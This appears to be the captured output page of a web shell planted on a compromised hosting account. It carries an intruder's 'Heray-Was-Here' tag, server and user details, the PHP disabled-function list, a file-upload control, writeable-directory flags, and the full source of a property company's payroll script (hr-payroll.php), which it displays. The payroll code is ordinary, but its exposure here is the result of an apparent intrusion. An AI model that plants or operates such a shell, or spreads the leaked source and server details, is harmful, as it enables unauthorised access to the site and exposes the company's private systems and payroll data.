Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/hr-payroll.php
<?php
session_start();
require_once __DIR__ . '/includes/functions.php';
$role = strtolower($_SESSION['user_role'] ?? 'guest');
$isHR = in_array($role, ['hr', 'hr_manager', 'admin', 'super_admin']);
$isFinance = in_array($role, ['finance', 'finance_manager', 'admin', 'super_admin']);

if (!$isHR && !$isFinance) {
    header('Location: dashboard.php');
    exit;
}

$action = $_GET['action'] ?? 'list';
$highlightId = (isset($_GET['highlight_id']) && ctype_digit((string)$_GET['highlight_id'])) ? (int)$_GET['highlight_id'] : 0;
$notice = '';
$type = 'success';

// --- PAYROLL ACTIONS ---
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['month']) && isset($_POST['year']) && $action === 'prepare' && $isHR) {
    $month = (int)$_POST['month'];
    $year = (int)$_POST['year'];
    $companyId = getCurrentCompanyId();
    $preparedBy = $_SESSION['user_id'];

    try {
        $pdo->beginTransaction();
        
        $staffWhere = "WHERE status = 'active'";
        $staffParams = [];
        if ($companyId && function_exists('tableHasColumn') && tableHasColumn('hr_staff', 'company_id')) {
            $staffWhere .= " AND company_id = ?";
            $staffParams[] = $companyId;
        }
        $staffStmt = $pdo->prepare("SELECT id, salary FROM hr_staff $staffWhere");
        $staffStmt->execute($staffParams);
        $staffList = $staffStmt->fetchAll();

        $payrollCols = "staff_id, period_month, period_year, base_salary, net_pay, status, prepared_by";
        $payrollPlaceholders = "?, ?, ?, ?, ?, 'pending_approval', ?";
        if (function_exists('tableHasColumn') && tableHasColumn('hr_payroll', 'company_id')) {
            $payrollCols .= ", company_id";
            $payrollPlaceholders .= ", ?";
        }
        
        $ins = $pdo->prepare("INSERT INTO hr_payroll ($payrollCols) VALUES ($payrollPlaceholders)");
        
        foreach ($staffList as $s) {
            $params = [$s['id'], $month, $year, $s['salary'], $s['salary'], $preparedBy];
            if (function_exists('tableHasColumn') && tableHasColumn('hr_payroll', 'company_id')) {
                $params[] = $companyId;
            }
            $ins->execute($params);
        }
        
        $pdo->commit();
        $notice = "Payroll for " . date('F', mktime(0,0,0,$month,1)) . " $year prepared and sent for Finance approval.";
        $action = 'list';
    } catch (Exception $e) {
        $pdo->rollBack();
        $notice = "Error: " . $e->getMessage();
        $type = 'danger';
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['approve_payroll_id']) && $isFinance) {
    $id = (int)$_POST['approve_payroll_id'];
    $approvedBy = $_SESSION['user_id'];
    try {
        $pdo->beginTransaction();
        
        // 1. Update Payroll Status
        $upd = $pdo->prepare("UPDATE hr_payroll SET status = 'approved', approved_by = ? WHERE id = ?");
        $upd->execute([$approvedBy, $id]);
        
        // 2. Fetch payroll details for expense recording
        $stmt = $pdo->prepare("
            SELECT p.*, s.name as staff_name 
            FROM hr_payroll p 
            JOIN hr_staff s ON s.id = p.staff_id 
            WHERE p.id = ?
        ");
        $stmt->execute([$id]);
        $pay = $stmt->fetch();
        
        // 3. Record as Expense (Salary Account)
        if ($pay && file_exists(__DIR__ . '/includes/functions.php')) {
            $desc = "Salary Payment - " . $pay['staff_name'] . " (" . date('F Y', mktime(0,0,0,$pay['period_month'],1,$pay['period_year'])) . ")";
            $companyIdForExpense = (isset($pay['company_id']) && $pay['company_id']) ? $pay['company_id'] : $companyId;
            $expenseCols = "category, amount, description, status, approved_by, approved_at";
            $expenseVals = "?, ?, ?, 'approved', ?, NOW()";
            $expenseParams = ['Salaries & Wages', $pay['net_pay'], $desc, $approvedBy];
            if (function_exists('tableHasColumn') && tableHasColumn('expenses_manual', 'company_id')) {
                $expenseCols .= ", company_id";
                $expenseVals .= ", ?";
                $expenseParams[] = $companyIdForExpense;
            }
            $insExp = $pdo->prepare("INSERT INTO expenses_manual ($expenseCols) VALUES ($expenseVals)");
            $insExp->execute($expenseParams);
            $expId = $pdo->lastInsertId();
            
            // Link expense back to payroll
            $pdo->prepare("UPDATE hr_payroll SET status = 'paid', payment_id = ? WHERE id = ?")->execute([$expId, $id]);
        }
        
        $pdo->commit();
        $notice = "Payroll approved and recorded as expense.";
    } catch (Exception $e) {
        $pdo->rollBack();
        $notice = "Error: " . $e->getMessage();
        $type = 'danger';
    }
}

include 'includes/header.php';
?>

<div class="container-fluid py-4">
    <div class="d-flex justify-content-between align-items-center mb-4">
        <h1 class="h3 mb-0 text-gray-800">Payroll Management</h1>
        <div class="d-flex gap-2">
            <a href="hr-dashboard.php" class="btn btn-outline-secondary btn-sm"><i class="fa-solid fa-arrow-left me-2"></i>Back</a>
            <?php if ($isHR): ?>
            <a href="hr-payroll.php?action=prepare" class="btn btn-primary btn-sm"><i class="fa-solid fa-plus me-2"></i>Prepare New Period</a>
            <?php endif; ?>
        </div>
    </div>

    <?php if ($notice): ?>
        <div class="alert alert-<?= $type ?>"><?= htmlspecialchars($notice) ?></div>
    <?php endif; ?>

    <?php if ($action === 'prepare'): ?>
        <div class="card shadow mb-4" style="max-width: 500px;">
            <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Prepare Payroll Period</h6>
            </div>
            <div class="card-body">
                <form method="POST">
                    <div class="mb-3">
                        <label class="form-label">Month</label>
                        <select name="month" class="form-select">
                            <?php for($m=1; $m<=12; $m++): ?>
                                <option value="<?= $m ?>" <?= $m == date('n') ? 'selected' : '' ?>><?= date('F', mktime(0,0,0,$m,1)) ?></option>
                            <?php endfor; ?>
                        </select>
                    </div>
                    <div class="mb-3">
                        <label class="form-label">Year</label>
                        <select name="year" class="form-select">
                            <option value="<?= date('Y') ?>"><?= date('Y') ?></option>
                            <option value="<?= date('Y')-1 ?>"><?= date('Y')-1 ?></option>
                        </select>
                    </div>
                    <button type="submit" class="btn btn-primary w-100">Generate Draft Payroll</button>
                </form>
            </div>
        </div>
    <?php else: ?>
        <div class="card shadow mb-4">
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-hover align-middle">
                        <thead class="table-light">
                            <tr>
                                <th>Staff Name</th>
                                <th>Period</th>
                                <th>Base Salary</th>
                                <th>Net Pay</th>
                                <th>Status</th>
                                <th class="text-center">Action</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $companyId = getCurrentCompanyId();
                            $payrollQuery = "
                                SELECT p.*, s.name as staff_name 
                                FROM hr_payroll p 
                                JOIN hr_staff s ON s.id = p.staff_id 
                            ";
                            $payrollWhere = "";
                            $payrollParams = [];
                            if ($companyId && function_exists('tableHasColumn') && tableHasColumn('hr_payroll', 'company_id')) {
                                $payrollWhere = " WHERE p.company_id = ?";
                                $payrollParams = [$companyId];
                            }
                            $stmt = $pdo->prepare($payrollQuery . $payrollWhere . " ORDER BY p.period_year DESC, p.period_month DESC");
                            $stmt->execute($payrollParams);
                            $payroll = $stmt->fetchAll();
                            foreach ($payroll as $p):
                            ?>
                            <tr id="payroll-row-<?= (int)$p['id'] ?>">
                                <td><?= htmlspecialchars($p['staff_name']) ?></td>
                                <td><?= date('F Y', mktime(0,0,0,$p['period_month'], 1, $p['period_year'])) ?></td>
                                <td>₦<?= number_format($p['base_salary'], 2) ?></td>
                                <td class="fw-bold">₦<?= number_format($p['net_pay'], 2) ?></td>
                                <td>
                                    <?php
                                    $badge = 'secondary';
                                    if ($p['status'] === 'paid') $badge = 'success';
                                    elseif ($p['status'] === 'pending_approval') $badge = 'warning';
                                    elseif ($p['status'] === 'approved') $badge = 'info';
                                    ?>
                                    <span class="badge bg-<?= $badge ?>"><?= strtoupper(str_replace('_',' ',$p['status'])) ?></span>
                                </td>
                                <td class="text-center">
                                    <?php if ($p['status'] === 'pending_approval' && $isFinance): ?>
                                        <form method="POST" class="d-inline">
                                            <input type="hidden" name="approve_payroll_id" value="<?= $p['id'] ?>">
                                            <button type="submit" class="btn btn-sm btn-success">Approve & Pay</button>
                                        </form>
                                    <?php endif; ?>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    <?php endif; ?>
</div>

<?php if ($highlightId > 0): ?>
<script>
(function(){
  var el = document.getElementById('payroll-row-<?= (int)$highlightId ?>');
  if (!el) return;
  el.classList.add('table-warning');
  try { el.scrollIntoView({ block: 'center', behavior: 'smooth' }); } catch(e) { el.scrollIntoView(); }
})();
</script>
<?php endif; ?>

<?php include 'includes/footer.php'; ?>

Hry